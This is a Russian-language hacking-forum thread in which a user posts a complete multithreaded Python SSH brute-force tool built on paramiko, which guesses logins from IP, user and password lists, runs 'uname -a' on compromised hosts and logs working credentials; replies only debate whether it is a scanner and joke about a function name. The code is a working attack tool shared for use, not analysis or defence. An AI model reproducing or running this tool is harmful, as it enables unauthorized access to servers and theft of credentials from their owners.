• Уменьшение отступа

    Обратная связь

    (info@ru-sfera.pw)

SSH Scanner - Python


Hooko

Уважаемый пользователь
Форумчанин
Регистрация
24.08.2016
Сообщения
230
Репутация
345
Jabber
Не мое. Нашел в сети.

Код:
import paramiko, sys, Queue, threading

class SSHBrute(threading.Thread):
    def __init__(self, queue):
        threading.Thread.__init__(self)
        self.queue = queue       
    def run(self):
        while True:
            ip,user,passwd = self.queue.get()
            self.kraken(ip,user,passwd)
            self.queue.task_done()
           
    def kraken(self,ip,user,passwd):
        try:
            if ip in cracked: return False
           
            if '%user%' in str(passwd):
                passwd = passwd.split("%")***91;0***93; + user + passwd.split("%")***91;2***93;
            if '%User%' in str(passwd):
                pwd = user + passwd.split("%")***91;2***93;
                passwd = passwd.split("%")***91;0***93;+pwd.title()
            if str(passwd) == '%null%':
                passwd = ''
           
            ssh = paramiko.SSHClient()
            ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
            ssh.connect(ip, username=user, password=passwd, timeout=35)
            raw.write(ip+' '+user+' '+passwd+'\n')
            raw.flush()
            chan = ssh.get_transport().open_session()
            chan.settimeout(35)
            chan.exec_command('uname -a')
            data = chan.recv(1024)
           
            if len(data) == 0:
                nologs.write(ip+' '+user+' '+passwd+'\n')
                nologs.flush()
                return False
               
            val.write(ip+' '+user+' '+passwd+'|'+data.rstrip()+'\n')
            val.flush()
            cracked.append(ip)
            chan.close()
            ssh.close()
            return True
        except Exception, e:
            if 'uthent' in str(e):
                if dbg == 'bad':
                    bad.write(ip+'\n')
                    bad.flush()
                #print '\r***91;+***93;Tried '+ip+' '+user+' '+passwd+'                 '
                ssh.close()
                return False
            #print ip, str(e)
            ssh.close()
            return False
           
def brutemain():
    if len(sys.argv) < 2:
        print """
    SSH Brute Force Tool
    Author:           @Elohim ***91;RST***93;
    Usage:
       bruter ThreadNumber IpFile UserFile PassFile FilterSwitch*   
      *The filter Switch Takes Either the word "bad" or "no".
       If you supply the word bad, it filters in bad.txt only the ips
       which indeed support ssh AUTH and password didn't work"""
        return False
    ThreadNR = int(sys.argv***91;1***93;)
    queue = Queue.Queue(maxsize=20000)
    try:
        i = 0
        for i in range(ThreadNR):
            t = SSHBrute(queue)
            t.daemon = True
            t.start()
            i += 1
    except Exception, e:
        print 'Cant start more than',i,'Threads!'
       
    global bad
    global val
    global nologs
    global cracked
    global raw
    cracked = ***91;***93;
    bad = open('bad.txt','w')
    val = open('valid.txt','a')
    nologs = open('nologins.txt','a')
    raw = open('raw.txt','a')
    with open(str(sys.argv***91;2***93;),'rU') as ipf: ips = ipf.read().splitlines()
    with open(str(sys.argv***91;3***93;),'rU') as uf: users = uf.read().splitlines()
    with open(str(sys.argv***91;4***93;),'rU') as pf: passwords = pf.read().splitlines()
    global dbg
    dbg = str(sys.argv***91;5***93;)
   
    try:
        for password in passwords:
            for user in users:
                for ip in ips:
                    queue.put((ip,user,password))
    except:
        pass
       
    queue.join()

if __name__ == "__main__":
    brutemain()
 

X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
6 068
Репутация
8 176
А это по мойму брут ссш, не сканер, по коду вроде так.

Или совместно сканер+брутер, но не похоже, многие меняют порт ссш на нестандартный, для этого нужно сканить, но я предпочитаю nmap.
 

Hooko

Уважаемый пользователь
Форумчанин
Регистрация
24.08.2016
Сообщения
230
Репутация
345
Jabber
А это по мойму брут ссш, не сканер, по коду вроде так.

Или совместно сканер+брутер, но не похоже, многие меняют порт ссш на нестандартный, для этого нужно сканить, но я предпочитаю nmap.
Ну да, так то брут))) Особенно радует название функции КРАКЕН! Только от одного названия все сразу побрутится))) или кодер был под чем-то, а нет о похожу смотрел фильмак с участием кракена)))

Код:
def kraken(self,ip,user,passwd):

Простите за ОФФТОП, не удержался))
 
Верх Низ